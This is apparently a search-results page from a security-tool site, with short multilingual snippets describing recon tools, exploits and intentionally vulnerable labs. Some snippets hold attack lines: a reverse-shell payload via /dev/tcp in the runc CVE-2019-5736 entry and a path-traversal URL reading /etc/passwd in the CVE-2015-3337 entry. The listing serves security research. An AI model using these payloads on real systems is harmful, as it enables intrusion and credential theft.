594135 matches found
CVE-2019-5736
🖥️ -h3x0v3rl0rd- ️⃣ CVE-2019-5736 사용법 : 해당 시스템은 CVE-2019-5736에 취약합니다. Runc 익스플로잇 CVE-2019-5736의 단계를 따르세요. main.go 파일을 다운로드하고, 파일 내 페이로드를 다음과 같이 변경하세요: root@kitploit: var payload = "!/bin/bash \n bash -i & /dev/tcp/10.10.14.12/1234 0&1" 그 후, 실행: root@kitploit: go build main.go HTTP 서버 호스팅:...
FinalRecon
Twitter - Telegram - thewhiteh4t's Blog FinalRecon is an all in one automatic web reconnaissance tool written in python. Goal of FinalRecon is to provide an overview of the target in a short amount of time while maintaining the accuracy of results. Instead of executing several tools one after...
CVE-2024-56428
CVE-2024-56428 iLabClient 로컬 데이터베이스의 평문 자격 증명 비밀번호를 포함한 구성 읽기 iLabClient는 실험실 서버에서 결과를 다운로드하는 데 사용됩니다. 구성 데이터는 Apache Derby 인스턴스 iLabClient에 로컬로 저장됩니다. 비밀번호는 평문으로 저장됩니다. 이를 읽으려면 먼저 로컬 데이터베이스에 대한 연결을 설정해야 합니다. 예를 들어 CVE-2024-56429에 설명된 방식으로 연결할 수 있습니다. 비밀번호를 읽어내려면: root@kitploit: select...
RemoteKrbRelay
//, , //\ \ / \ \ XXX XXX / //, \o-o/-o-o/ / / \ XXX | / \ / ,-/ / / /,| | | / \ / ,-,,,/ ,,, root@kitploit: CICADA8 Research Team From Michael Zhmaylo MzHmO RemoteKrbRelay 당신은 아마 KrbRelay와 KrbRelayUp을 알고 있을 것입니다. 그런데 그것을 원격으로 할 수 있다면 어떨까요? RemoteKrbRelay를 사용하면 이것이 현실이 됩니다. TL;DR CertifiedDCOM에 대...
whoc
whoc A container image that extracts the underlying container runtime and sends it to a remote server. Poke at the underlying container runtime of your favorite CSP container platform! WhoC at Defcon 29 Cloud Village Azurescape - whoc-powered research, the first cross-account container takeover i...
whoc
whoc 내부 컨테이너 런타임을 추출하여 원격 서버로 전송하는 컨테이너 이미지입니다. 즐겨찾는 CSP 컨테이너 플랫폼의 기반 컨테이너 런타임을 건드려보세요! Defcon 29 Cloud Village에서의 WhoC Azurescape - whoc 기반 연구, 퍼블릭 클라우드 최초의 계정 간 컨테이너 탈취 70,000$ 바운티 어떻게 작동하나요? runc CVE-2019-5736에서 확인된 것처럼, 기존의 Linux 컨테이너 런타임은 /proc/self/exe를 통해 실행 중인 컨테이너에 자신을 노출합니다. whoc는 이 링크를...
frida-ios-hook
Frida iOS hook 📍 A tool that helps you can easy using frida. It support script for trace classes, functions, and modify the return values of methods on iOS platform. 👉 For Android platform: frida-android-hook 👉 For Intercept Api was encrypted on iOS application: frida-ios-intercept-api Env OS...
OSweep
OSweep™ OSINT를 검색만 하지 마세요. Sweep 하세요. 설명 IT 보안 분야에서 일한다면, SIEM이 경고한 내용과 세상의 다른 사람들이 그에 대해 알고 있는 것을 이해하기 위해 OSINT를 사용할 가능성이 높습니다. 대부분의 경우 OSINT는 IOC의 마지막 분석 결과에 기반한 보고서만 제공하기 때문에, 여러 OSINT 서비스를 함께 사용하는 경우가 많습니다. 어떤 이들에게는 그것으로 충분합니다. 네트워크 및 이메일 차단, IDS/IPS용 새 규칙 생성, SIEM 콘텐츠 업데이트, Google Alerts 및...
pmd
PMD - source code analyzer PMD is an extensible multilanguage static code analyzer. It finds common programming flaws like unused variables, empty catch blocks, unnecessary object creation, and so forth. It's mainly concerned with Java and Apex , but supports 16 other languages. It comes with 400...
CVE-2015-6620-POC
CVE-2015-6620-POC-1 POC para un bug en CVE-2015-6620-1 ANDROIDID-24123723, escritura arbitraria al deserializar AMessage. Los dos bugs están fusionados en un solo CVE, y aquí está el POC para uno de ellos. Explicación root@kitploit: 533 sp AMessage::FromParcelconst Parcel &parcel 534 int32t what ...
evil-winrm v4.1
Evil-WinRM The ultimate WinRM shell for hacking/pentesting Description & Purpose This shell is the ultimate WinRM shell for hacking/pentesting. WinRM Windows Remote Management is the Microsoft implementation of WS-Management Protocol. A standard SOAP based protocol that allows hardware and...
CVE-2015-3337
CVE-2015-3337 CVE-2015-3337 임의 파일 읽기 http://10.10.20.166:9200/plugin/head/../../../../../../../../../etc/passwd 사용법: python CVE-2015-3337.py root@kitploit: python CVE-2015-3337.py / \ | | | | / | |/ | | | | || || || / | / / | | | | ' / /'| |/' || | | \ / / / / / / / / | | | | | | || / / | /| | |...
toolkit
English | Español Indetectables Toolkit Designed as a Swiss Army knife, this curated toolkit is invaluable for malware analysts, crackers, and cybersecurity experts. It is meticulously crafted to support both novice and experienced users. This toolkit complements the manuals and the numbered...
crawlergo
crawlergo 웹 취약점 스캐너를 위한 강력한 브라우저 크롤러 영어 문서 | 중국어 문서 crawlergo는 chrome headless 모드를 사용하여 URL을 수집하는 브라우저 크롤러입니다. DOM 렌더링 단계에서 웹 페이지의 주요 지점을 후킹하고, 자동으로 폼을 채우고 제출하며, 지능적인 JS 이벤트 트리거를 통해 웹사이트가 노출하는 가능한 많은 항목을 수집합니다. 내장된 URL 중복 제거 모듈은 많은 의사 정적 URL을 필터링하면서도 대규모 웹사이트에 대해 빠른 파싱 및 크롤링 속도를 유지하며, 최종적으로 고품질의 ...
CVE-2019-10149
CVE-2019-10149 - Exim 4.87 Local/Makefile cp eximmonitor/EDITME Local/eximon.conf exim ユーザーとグループを作成する sudo groupadd -g 31 exim sudo useradd -d /dev/null -c "Exim Daemon" -g exim -s /bin/false -u 31 exim 依存関係をインストールする sudo apt-get update sudo apt-get install -y make build-essential libpcre3-dev...
GCPGoat
GCPGoat : 매우 취약한 GCP 인프라 조직의 클라우드 인프라를 손상시키는 것은 공격자에게 금광 위에 앉아 있는 것과 같습니다. 때로는 간단한 설정 오류나 웹 애플리케이션의 취약점 하나만으로도 공격자는 전체 인프라를 손상시킬 수 있습니다. 클라우드는 비교적 새로운 기술이기 때문에 많은 개발자가 위협 환경을 완전히 인지하지 못하고 취약한 클라우드 인프라를 배포하게 됩니다. GCPGoat는 GCP에서 의도적으로 취약하게 설계된 인프라로, 최신 OWASP Top 10 웹 애플리케이션 보안 위험2021과 IAM, Storage...
CVE-2024-24919
CVE-2024-24919 사용법 사용법: ./CVE-2024-24919.sh -i -p -f -i 옵션으로 IP 지정 root@kitploit: ./CVE-2024-24919.sh -i 190.XXX.XXX.XXX -f 옵션으로 여러 IP 확인 root@kitploit: ./CVE-2024-24919.sh -f uniq.txt 파일 예제 root@kitploit: 192.168.0.1 192.168.0.2 192.168.0.3 ... 192.168.0.20...
rakkess
rakkess Review Access - kubectl plugin to show an access matrix for server resources Intro Have you ever wondered what access rights you have on a provided kubernetes cluster? For single resources you can use kubectl auth can-i list deployments, but maybe you are looking for a complete overview?...
rakkess
rakkess 접근 권한 검토 - 서버 리소스에 대한 접근 매트릭스를 보여주는 kubectl 플러그인 소개 지금 사용 중인 Kubernetes 클러스터에서 어떤 접근 권한을 가지고 있는지 궁금해 본 적이 있나요? 단일 리소스에 대해서는 kubectl auth can-i list deployments를 사용할 수 있지만, 전체적인 개요를 원하시나요? 이것이 rakkess의 목적입니다. kubectl auth can-i --list와 유사하게 현재 사용자와 모든 서버 리소스에 대한 접근 권한을 나열합니다. 또한 특정 서버 리소스와...